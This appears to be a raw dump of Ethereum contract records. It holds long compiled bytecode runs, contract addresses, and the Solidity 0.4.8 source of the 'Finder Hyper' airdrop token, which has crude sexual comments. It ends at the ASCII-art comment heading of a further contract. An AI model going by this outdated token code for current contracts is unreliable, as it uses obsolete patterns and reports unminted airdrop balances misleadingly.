61027d7f5d8e12c39142ff96d79d04d15d1ba1269e4fe57bb9d26f43523628b34ba108ec81565b6102616105ff366004612a06565b611d30565b61027d610612366004612939565b611d5a565b61066e610625366004612939565b6003602081905260009182526040909120805460018201546002830154938301546004840154600785015460088601546009909601549496939593949293919290919060ff1688565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c0830152151560e08201526101000161024b565b60006001600160e01b03198216637965db0b60e01b14806106dc57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6001600160a01b03808316600090815260036020908152604080832093851683526006840182528083205460058501909252822054919291839161077791610771906ec097ce7bc90715b34b9f10000000009061076b9061074c906107468c611d5a565b90611dc9565b6001600160a01b038a1660009081526005602052604090205490611dd5565b90611de1565b90611ded565b95945050505050565b61078933611df9565b33816107d55760405162461bcd60e51b8152602060048201526016602482015275616d6f756e742063616e6e6f74206265207a65726f2160501b60448201526064015b60405180910390fd5b6001600160a01b0381166000908152600760205260409020548211156108345760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e7420616d6f756e742160601b60448201526064016107cc565b60085460405163a9059cbb60e01b81526001600160a01b038381166004830152602482018590529091169063a9059cbb90604401602060405180830381600087803b15801561088257600080fd5b505af1158015610896573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ba91906129e6565b6108d65760405162461bcd60e51b81526004016107cc90612bdf565b6108df81611f78565b6001600160a01b03811660009081526007602052604081208054849290610907908490612cc3565b90915550506001600160a01b03811660009081526007602052604090205461094e576001600160a01b0381166000908152600760205260409020600501805461ff00191690555b8160065461095c9190612cc3565b60065561096882611fae565b60025460005b81811015610a29576000600360006002848154811061099d57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812033825260060190925290205490508015610a1657610a16600283815481106109fc57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316611feb565b5080610a2181612d1d565b91505061096e565b50604080518481524260208201526001600160a01b038416917fcea4a8298dbe2139215cb1067c1f72633f2161ac133d5222ed02607541431a9e91015b60405180910390a2505050565b600082815260208190526040902060010154610a8f813361207e565b610a9983836120e2565b505050565b6001600160a01b0381163314610b0e5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084016107cc565b610b188282612166565b5050565b60606000610b2a813361207e565b6002548310610b95576002805480602002602001604051908101604052809291908181526020018280548015610b8957602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610b6b575b50505050509150610ceb565b825b600254610ba690600190612cc3565b811015610c4d576002610bba826001612c6c565b81548110610bd857634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600280546001600160a01b039092169183908110610c1257634e487b7160e01b600052603260045260246000fd5b600091825260209091200180546001600160a01b0319166001600160a01b039290921691909117905580610c4581612d1d565b915050610b97565b506002805480610c6d57634e487b7160e01b600052603160045260246000fd5b6000828152602090819020820160001990810180546001600160a01b031916905590910190915560028054604080518285028101850190915281815292830182828015610ce357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610cc5575b505050505091505b50919050565b6000610cfd813361207e565b6001600160a01b038516610d665760405162461bcd60e51b815260206004820152602a60248201527f5374616b696e67526577617264733a20726577617264546f6b656e2063616e6e6044820152691bdd081899481b9d5b1b60b21b60648201526084016107cc565b83610dc55760405162461bcd60e51b815260206004820152602960248201527f5374616b696e67526577617264733a20696e69747265776172642063616e6e6f6044820152681d081899481b9d5b1b60ba1b60648201526084016107cc565b81610e225760405162461bcd60e51b815260206004820152602760248201527f5374616b696e67526577617264733a206475726174696f6e2063616e6e6f74206044820152661899481b9d5b1b60ca1b60648201526084016107cc565b6001600160a01b03851660009081526003602052604090206009015460ff1615610e845760405162461bcd60e51b8152602060048201526013602482015272185b1c9958591e481a5b9a5d1a585b1a5e9959606a1b60448201526064016107cc565b6001600160a01b0385166000818152600360205260408120868155600180820187905560098201805460ff1916821790556002805491820181559092527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace90910180546001600160a01b031916909217909155610f048362015180612ca4565b6003820155610f1386866121cb565b505050505050565b60026001541415610f3e5760405162461bcd60e51b81526004016107cc90612c35565b600260015580610f9a5760405162461bcd60e51b815260206004820152602160248201527f5374616b696e67526577617264733a2043616e6e6f74207769746864726177206044820152600360fc1b60648201526084016107cc565b3360009081526005602052604090205481111561100c5760405162461bcd60e51b815260206004820152602a60248201527f496e73756666696369656e7420616d6f756e7420666f7220656d657267656e636044820152697920576974686472617760b01b60648201526084016107cc565b6004546110199082611dc9565b600455336000908152600560205260409020546110369082611dc9565b33600081815260056020526040902091909155600854611062916001600160a01b039091169083612263565b60405181815233907f5fafa99d0643513820be26656b45130b01e1c03062e1266bf36f88cbd3bd96959060200160405180910390a25060018055565b6001600160a01b0381166000908152600360205260408120600401546106dc9042906122c6565b60007f40a5c770eee7730548a6335e1f372e76bf4759f6fda1a932bd9cfc33106f0b4c6110f2813361207e565b6110fb84611f78565b6001600160a01b038416600090815260076020526040902060038101546111645760405162461bcd60e51b815260206004820152601960248201527f6163637275656420706f696e747320657175616c20746f20300000000000000060448201526064016107cc565b83816003015410156111af5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e7420706f696e74732160601b60448201526064016107cc565b838160030160008282546111c39190612cc3565b90915550506040518481526001600160a01b038616907fcf2fe85adda34af12c3dbee53b8a72e2e9146f848eb42670887ffc19f68bb9459060200160405180910390a2506001949350505050565b6001600160a01b03811660009081526007602052604081206004810154829061123b904290611dc9565b9050600061126c620151807f0000000000000000000000000000000000000000000000056bc75e2d63100000612c84565b90506000611279866122dc565b670de0b6b3a7640000848487600001546112939190612ca4565b61129d9190612ca4565b6112a79190612c84565b85600301546112b69190612c6c565b6112c09190612c6c565b9695505050505050565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b338161133a5760405162461bcd60e51b8152602060048201526016602482015275616d6f756e742063616e6e6f74206265207a65726f2160501b60448201526064016107cc565b6001600160a01b03811660009081526007602052604090206001015482111561139c5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e7420616d6f756e742160601b60448201526064016107cc565b60095460405163a9059cbb60e01b81526001600160a01b038381166004830152602482018590529091169063a9059cbb90604401602060405180830381600087803b1580156113ea57600080fd5b505af11580156113fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142291906129e6565b61143e5760405162461bcd60e51b81526004016107cc90612bdf565b61144781611f78565b6001600160a01b03811660009081526007602052604081206001018054849290611472908490612cc3565b90915550506001600160a01b0381166000908152600760205260409020600101546114c6576001600160a01b038116600090815260076020526040812060058101805462ff00001916905560020155611508565b6001600160a01b0381166000908152600760205260409020600101546114eb90612372565b6001600160a01b0382166000908152600760205260409020600201555b81600a546115169190612cc3565b600a55604080518381524260208201526001600160a01b038316917f7156a628e80984c633d11e59d687441b8a41caa15eef64e898f9de738dac85d3910160405180910390a25050565b600260015414156115835760405162461bcd60e51b81526004016107cc90612c35565b6002600155806115a55760405162461bcd60e51b81526004016107cc90612c08565b6008546040516370a0823160e01b815233600482015282916001600160a01b0316906370a082319060240160206040518083038186803b1580156115e857600080fd5b505afa1580156115fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116209190612ab6565b101561166e5760405162461bcd60e51b815260206004820152601f60248201527f496e73756666696369656e7420616d6f756e7420666f72206465706f7369740060448201526064016107cc565b6116987f5d8e12c39142ff96d79d04d15d1ba1269e4fe57bb9d26f43523628b34ba108ec336124db565b60085433906116b2906001600160a01b03168230856124e5565b6116bb81611f78565b816006546116c99190612c6c565b6006556001600160a01b038116600090815260076020526040812080548492906116f4908490612c6c565b90915550506001600160a01b0381166000908152600760205260409020600501805461ff00191661010017905561172a33611df9565b6117338261251d565b604080518381524260208201526001600160a01b038316917f541aa882ab8c356c07be43f88ec69c8493b107de3f42b57436aee2a0cabb131a910160405180910390a2505060018055565b600061178a813361207e565b50600980546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116600090815260036020526040812060020154816117dc82670de0b6b3a7640000611de1565b90506117eb8162015180612ca4565b949350505050565b6060600280548060200260200160405190810160405280929190818152602001828054801561184b57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161182d575b5050505050905090565b6000611861813361207e565b6001600160a01b03831660008181526007602052604090819020600301849055517fc212a28ce0b1deac43d913831030c91f107d710d3408bc16bfc7157f97b588ec90610a669085815260200190565b600260015414156118d45760405162461bcd60e51b81526004016107cc90612c35565b60026001556118e233611df9565b6001600160a01b038116600090815260036020908152604080832033845260068101909252909120548061194d5760405162461bcd60e51b81526020600482015260126024820152711e5bdd481a185d99481b9bc81c995dd85c9960721b60448201526064016107cc565b60405163a9059cbb60e01b81523360048201526024810182905283906001600160a01b0382169063a9059cbb90604401602060405180830381600087803b15801561199757600080fd5b505af11580156119ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119cf91906129e6565b6119eb5760405162461bcd60e51b81526004016107cc90612bdf565b33600081815260068501602052604080822091909155517fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e048690611a319085815260200190565b60405180910390a25050600180555050565b600082815260208190526040902060010154611a5f813361207e565b610a998383612166565b60026001541415611a8c5760405162461bcd60e51b81526004016107cc90612c35565b600260015580611aae5760405162461bcd60e51b81526004016107cc90612c08565b6009546040516370a0823160e01b815233600482015282916001600160a01b0316906370a082319060240160206040518083038186803b158015611af157600080fd5b505afa158015611b05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b299190612ab6565b1015611b775760405162461bcd60e51b815260206004820152601f60248201527f496e73756666696369656e7420616d6f756e7420666f72206465706f7369740060448201526064016107cc565b6000611b8282612372565b905060008111611ba45760405162461bcd60e51b81526004016107cc90612c08565b6009546040516323b872dd60e01b8152336004820181905230602483015260448201859052916001600160a01b0316906323b872dd90606401602060405180830381600087803b158015611bf757600080fd5b505af1158015611c0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c2f91906129e6565b50611c3981611f78565b82600a6000828254611c4b9190612c6c565b90915550506001600160a01b03811660009081526007602052604081206002018054849290611c7b908490612c6c565b90915550506001600160a01b03811660009081526007602052604081206001018054859290611cab908490612c6c565b90915550506001600160a01b03811660008181526007602052604090819020600501805462ff0000191662010000179055517f1508d704d3ababd41a15d0d5298b65cdd7fd16c1c76d47852a99fba76570a11b90611d1f908690869042909283526020830191909152604082015260600190565b60405180910390a250506001805550565b60028181548110611d4057600080fd5b6000918252602090912001546001600160a01b0316905081565b6001600160a01b0381166000908152600360205260408120600454611d83576007015492915050565b611dc2611db760045461076b670de0b6b3a7640000611db18660020154611db188600801546107468c61109e565b90611dd5565b600783015490611ded565b9392505050565b6000611dc28284612cc3565b6000611dc28284612ca4565b6000611dc28284612c84565b6000611dc28284612c6c565b600254600090815b81811015611f72576003600060028381548110611e2e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902060028054919450611e959183908110611e7b57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316611d5a565b8360070181905550611edb60028281548110611ec157634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031661109e565b60088401556001600160a01b03841615611f6057611f2e60028281548110611f1357634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316856106e2565b6001600160a01b0385166000908152600685016020908152604080832093909355600786015460058701909152919020555b80611f6a81612d1d565b915050611e01565b50505050565b6000611f8382611211565b6001600160a01b03909216600090815260076020526040902060038101929092555042600490910155565b600454611fbb9082611dc9565b60045533600090815260056020526040902054611fd89082611dc9565b3360009081526005602052604090205550565b6002600154141561200e5760405162461bcd60e51b81526004016107cc90612c35565b60026001556001600160a01b038116600090815260036020908152604080832033845260068101909252909120548061194d5760405162461bcd60e51b81526020600482015260126024820152711e5bdd481a185d99481b9bc81c995dd85c9960721b60448201526064016107cc565b61208882826112ca565b610b18576120a0816001600160a01b03166014612547565b6120ab836020612547565b6040516020016120bc929190612aea565b60408051601f198184030181529082905262461bcd60e51b82526107cc91600401612bac565b6120ec82826112ca565b610b18576000828152602081815260408083206001600160a01b03851684529091529020805460ff191660011790556121223390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b61217082826112ca565b15610b18576000828152602081815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6121d56000611df9565b6001600160a01b03821660009081526003602081905260409091209081015461220a9061076b84670de0b6b3a7640000611dd5565b6002820155426008820181905560038201546122269190611ded565b60048201556040518281527fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9060200160405180910390a1505050565b6040516001600160a01b038316602482015260448101829052610a9990849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612729565b60008183106122d55781611dc2565b5090919050565b6001600160a01b038116600090815260076020526040812060048101548290612306904290611dc9565b90506000612337620151807f0000000000000000000000000000000000000000000000056bc75e2d63100000612c84565b9050670de0b6b3a7640000828285600201546123539190612ca4565b61235d9190612ca4565b6123679190612c84565b610777906002612ca4565b600080600960009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156123c357600080fd5b505afa1580156123d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123fb9190612ab6565b612414846ec097ce7bc90715b34b9f1000000000612ca4565b61241e9190612c84565b90506000600960009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561247057600080fd5b505afa158015612484573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124a89190612a68565b50506001600160701b0316905060006ec097ce7bc90715b34b9f10000000006124d18385612ca4565b6107779190612c84565b610b1882826120e2565b6040516001600160a01b0380851660248301528316604482015260648101829052611f729085906323b872dd60e01b9060840161228f565b60045461252a9082611ded565b60045533600090815260056020526040902054611fd89082611ded565b60606000612556836002612ca4565b612561906002612c6c565b67ffffffffffffffff81111561258757634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156125b1576020820181803683370190505b509050600360fc1b816000815181106125da57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811061261757634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600061263b846002612ca4565b612646906001612c6c565b90505b60018111156126da576f181899199a1a9b1b9c1cb0b131b232b360811b85600f166010811061268857634e487b7160e01b600052603260045260246000fd5b1a60f81b8282815181106126ac57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c936126d381612d06565b9050612649565b508315611dc25760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460448201526064016107cc565b600061277e826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166127fb9092919063ffffffff16565b805190915015610a99578080602001905181019061279c91906129e6565b610a995760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016107cc565b60606117eb848460008585843b6128545760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016107cc565b600080866001600160a01b031685876040516128709190612ace565b60006040518083038185875af1925050503d80600081146128ad576040519150601f19603f3d011682016040523d82523d6000602084013e6128b2565b606091505b50915091506128c28282866128cd565b979650505050505050565b606083156128dc575081611dc2565b8251156128ec5782518084602001fd5b8160405162461bcd60e51b81526004016107cc9190612bac565b80356001600160a01b038116811461291d57600080fd5b919050565b80516001600160701b038116811461291d57600080fd5b60006020828403121561294a578081fd5b611dc282612906565b60008060408385031215612965578081fd5b61296e83612906565b915061297c60208401612906565b90509250929050565b60008060408385031215612997578182fd5b6129a083612906565b946020939093013593505050565b600080600080608085870312156129c3578182fd5b6129cc85612906565b966020860135965060408601359560600135945092505050565b6000602082840312156129f7578081fd5b81518015158114611dc2578182fd5b600060208284031215612a17578081fd5b5035919050565b60008060408385031215612a30578182fd5b8235915061297c60208401612906565b600060208284031215612a51578081fd5b81356001600160e01b031981168114611dc2578182fd5b600080600060608486031215612a7c578283fd5b612a8584612922565b9250612a9360208501612922565b9150604084015163ffffffff81168114612aab578182fd5b809150509250925092565b600060208284031215612ac7578081fd5b5051919050565b60008251612ae0818460208701612cda565b9190910192915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000815260008351612b22816017850160208801612cda565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351612b53816028840160208801612cda565b01602801949350505050565b6020808252825182820181905260009190848201906040850190845b81811015612ba05783516001600160a01b031683529284019291840191600101612b7b565b50909695505050505050565b6020815260008251806020840152612bcb816040850160208701612cda565b601f01601f19169190910160400192915050565b6020808252600f908201526e5472616e73666572206572726f722160881b604082015260600190565b602080825260139082015272125b9cdd59999a58da595b9d08185b5bdd5b9d606a1b604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60008219821115612c7f57612c7f612d38565b500190565b600082612c9f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612cbe57612cbe612d38565b500290565b600082821015612cd557612cd5612d38565b500390565b60005b83811015612cf5578181015183820152602001612cdd565b83811115611f725750506000910152565b600081612d1557612d15612d38565b506000190190565b6000600019821415612d3157612d31612d38565b5060010190565b634e487b7160e01b600052601160045260246000fdfea264697066735822122048630314b1a9cb9641c6ffd5bfd75da59b2df5c155b11dd4b5535a647b975bb364736f6c63430008040033
[ 16, 4, 7 ]
0xf3139bda757ec81d70c50093f195889a66991410
pragma solidity ^0.4.8; contract ERC20Interface { function totalSupply() public constant returns (uint256 supply); function balance() public constant returns (uint256); function balanceOf(address _owner) public constant returns (uint256); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // penispenispenispenis // YOU get a penis, and YOU get a penis, and YOU get a penis! contract FinderHyper is ERC20Interface { string public constant symbol = "FH"; string public constant name = "Finder Hyper"; uint8 public constant decimals = 2; uint256 _totalSupply = 0; uint256 _airdropAmount = 100 * 10 ** uint256(decimals); uint256 _cutoff = _airdropAmount * 10000; uint256 _outAmount = 0; mapping(address => uint256) balances; mapping(address => bool) initialized; // Penis accepts request to tip-touch another Penis mapping(address => mapping (address => uint256)) allowed; function FinderHyper() { initialized[msg.sender] = true; balances[msg.sender] = _airdropAmount * 1900000000 - _cutoff; _totalSupply = balances[msg.sender]; } function totalSupply() constant returns (uint256 supply) { return _totalSupply; } // What's my girth? function balance() constant returns (uint256) { return getBalance(msg.sender); } // What is the length of a particular Penis? function balanceOf(address _address) constant returns (uint256) { return getBalance(_address); } // Tenderly remove hand from Penis and place on another Penis function transfer(address _to, uint256 _amount) returns (bool success) { initialize(msg.sender); if (balances[msg.sender] >= _amount && _amount > 0) { initialize(_to); if (balances[_to] + _amount > balances[_to]) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } else { return false; } } // Perform the inevitable actions which cause release of that which each Penis // is built to deliver. In EtherPenisLand there are only Penises, so this // allows the transmission of one Penis's payload (or partial payload but that // is not as much fun) INTO another Penis. This causes the Penisae to change // form such that all may see the glory they each represent. Erections. function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) { initialize(_from); if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0) { initialize(_to); if (balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } else { return false; } } // Allow splooger to cause a payload release from your Penis, multiple times, up to // the point at which no further release is possible.. function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // internal privats function initialize(address _address) internal returns (bool success) { if (_outAmount < _cutoff && !initialized[_address]) { initialized[_address] = true; balances[_address] = _airdropAmount; _outAmount += _airdropAmount; _totalSupply += _airdropAmount; } return true; } function getBalance(address _address) internal returns (uint256) { if (_outAmount < _cutoff && !initialized[_address]) { return balances[_address] + _airdropAmount; } else { return balances[_address]; } } function getOutAmount()constant returns(uint256 amount){ return _outAmount; } }
0x6080604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017557806323b872dd1461019c578063313ce567146101c657806370a08231146101f157806395d89b4114610212578063a9059cbb14610227578063b69ef8a81461024b578063d07adab314610260578063dd62ed3e14610275575b600080fd5b3480156100bf57600080fd5b506100c861029c565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101025781810151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014957600080fd5b50610161600160a060020a03600435166024356102d3565b604080519115158252519081900360200190f35b34801561018157600080fd5b5061018a61033a565b60408051918252519081900360200190f35b3480156101a857600080fd5b50610161600160a060020a0360043581169060243516604435610340565b3480156101d257600080fd5b506101db610465565b6040805160ff9092168252519081900360200190f35b3480156101fd57600080fd5b5061018a600160a060020a036004351661046a565b34801561021e57600080fd5b506100c861047d565b34801561023357600080fd5b50610161600160a060020a03600435166024356104b4565b34801561025757600080fd5b5061018a610585565b34801561026c57600080fd5b5061018a610595565b34801561028157600080fd5b5061018a600160a060020a036004358116906024351661059b565b60408051808201909152600c81527f46696e6465722048797065720000000000000000000000000000000000000000602082015281565b336000818152600660209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60005490565b600061034b846105c6565b50600160a060020a03841660009081526004602052604090205482118015906103975750600160a060020a03841660009081526006602090815260408083203384529091529020548211155b80156103a35750600082115b1561045a576103b1836105c6565b50600160a060020a038316600090815260046020526040902054828101111561045a57600160a060020a0380851660008181526004602081815260408084208054899003905560068252808420338552825280842080548990039055948816808452918152918490208054870190558351868152935190937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a350600161045e565b5060005b9392505050565b600281565b600061047582610643565b90505b919050565b60408051808201909152600281527f4648000000000000000000000000000000000000000000000000000000000000602082015281565b60006104bf336105c6565b503360009081526004602052604090205482118015906104df5750600082115b1561057d576104ed836105c6565b50600160a060020a038316600090815260046020526040902054828101111561057d5733600081815260046020908152604080832080548790039055600160a060020a03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001610334565b506000610334565b600061059033610643565b905090565b60035490565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b60006002546003541080156105f45750600160a060020a03821660009081526005602052604090205460ff16155b1561063b57600160a060020a0382166000908152600560209081526040808320805460ff191660019081179091555460049092528220819055600380548201905581540190555b506001919050565b60006002546003541080156106715750600160a060020a03821660009081526005602052604090205460ff16155b156106995750600154600160a060020a03821660009081526004602052604090205401610478565b50600160a060020a0381166000908152600460205260409020546104785600a165627a7a723058204bef2a9fb924e7e1d78e2ba9c205027cc5eef1f7c655f2098d17fd69187c1e6d0029
[ 38 ]
0xf314294d13d6d097ae85901276d0f4595efd19c2
// SPDX-License-Identifier: Unlicensed /** IF YOU'RE READING THIS YOU'VE BEEN IN A COMA FOR ALMOST 20 YEARS NOW. WE'RE TRYING A NEW TECHNIQUE. WE DON'T KNOW WHERE THIS MESSAGE WILL END UP IN YOUR DREAM, BUT WE HOPE WE'RE GETTING THROUGH. KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKF AKKKKNNKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKANKKKKKKKKKKKKKKKKKKKKN RNANKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKNNNNKKKKKKKKKKKAAAR ANNNRRAKKKKKKKKKKKKNNAKNNA RRANKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKNNKKKKKKKFFF RKKNNKKKKKKKKKKKKKKKKKKKKKKR FFNKKKKKKKKKKKKKKKKKKK KKKKKKKKKNRFFFRRFRF RRARANKN FAKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKA FKKKKKKKKKKKKKKKKKK KKKKKKNF FAAKARR RNNKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKN AKKKKKKKKKKKKKKKK KKKKKA FRRRANKNKKKKKKKKKKKKKANNRRKKKKKKKKKKKKKKKKKKKKKKKKKKKKKNF AKKKKKKKKKKKKKK KKKKKR FRAANNAKKNNAAARFR FFNKKKKKKKKKKKKKKKKKKKKKKKKKKKKKN KKKKKKKKKKKKKK KKKKKNRRRR RFFRANKN FRRNKKKKKKKKKKKKKKKKKKKKKKKKKKKK NKKKKKKKKKKKK KKKKKKKKNRR FFFFFF KKKKKKKKKA RNKKKKKKKKKKKKKKKKKKKKKKKKKKK AKKKKKKKKKKK KKKKR KKKKKF F RKNF AKKKKKKKKKN FANKKKNKKKKKKKKKKKKKKKKKKKKKKKKKKKKKF AKKKKKKKKKK KKKK RKKKKKK FKKKKR FRNAAR FRNNNKKNNARF KKKKKKKKKKKKKKA RKKKKKKKKKKKKF KKKKKKKKK KKKK FKKKKKKKKK FFRAKA RKKKKKKKKKKKKKKKF RNNKKKKKKKKKK KKKKKKKKKKKKKR AKKKKKKKK KKKR KKKKKKKKKR FAAR KKKKKKKKKKKKKKKKKK FRANKKNAR NKKKKKKKKKKKKKK RKKKKKKK KKK KKKKKKKKK RNNKKKNN NKKKKKKKA FKKKR FRF FRFFF FAKKKKKKKKKKKKKKKKF AKKKKKKK KKK KKKKKKKR RKKKKKNAAA KKKKKA AKF RKKKKKKKKKNNAA RKKKKKKKKKKKKKKKKKKA AKKKKKKK KKKNNNNNKKKKR KKKKKKKNNAAAN KKKKK R NKKKKKKKKKKKKKKN FAKK KKKKKKKKKKKKKKKKKKA RKKKKKKK KKKKNNNAAANNR AKKKKNNNAARNA NKKKKA FF FKKKKKKKKKKKKKKKKKKKKKK AKKKKKKKKKKKKKKKNKF AKKKKKKKK KKKKKKKKARAF FKKKKNNAAAAANNNA AKKKKKKKNR FRKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKK KKKKKKKKK KKKKKKKKKKK NKKNNNAAAAAANNNKKNR RRARRRFRNKKKKKKKKKKKKKKKKKKKKKKKKKKKAKKKKKKKKKKKKKK KKKKKKKKK KKKKKKKKKN KKNAAANAAAAAAANNNKKKNAAAANKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKN AKKKKKKKKK KKKKKKKKKK AKNAAANNAAAAAAAAAAKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK FKKKKKKKKKK KKKKKKKKKK KKNAAANAAAAAAAAAARNKKKKKKKKKKKKKKKKKKKKKKKKKKKNKKKKKKKKKKKKKKKKKKKKKKKKF F KKKKKKKKKK KKKKKKKKKN KKNNNNNNANNNNNAAAARNKKKKKKKKKKKKKKKKKKKKKKKNAR AKKKKKKKKKKKKKKKKKKKKKK FF KKKKKKKKKK KKKKKKKKKKKKNNNNNNNNNARF ANKKKKKKKKKKKKKKKKNNNAR AKKKKKKKKKKKKKKKKKKKKK A 